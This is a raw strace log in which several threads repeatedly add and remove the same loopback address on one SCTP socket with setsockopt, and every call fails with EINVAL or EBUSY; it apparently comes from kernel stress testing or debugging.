[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
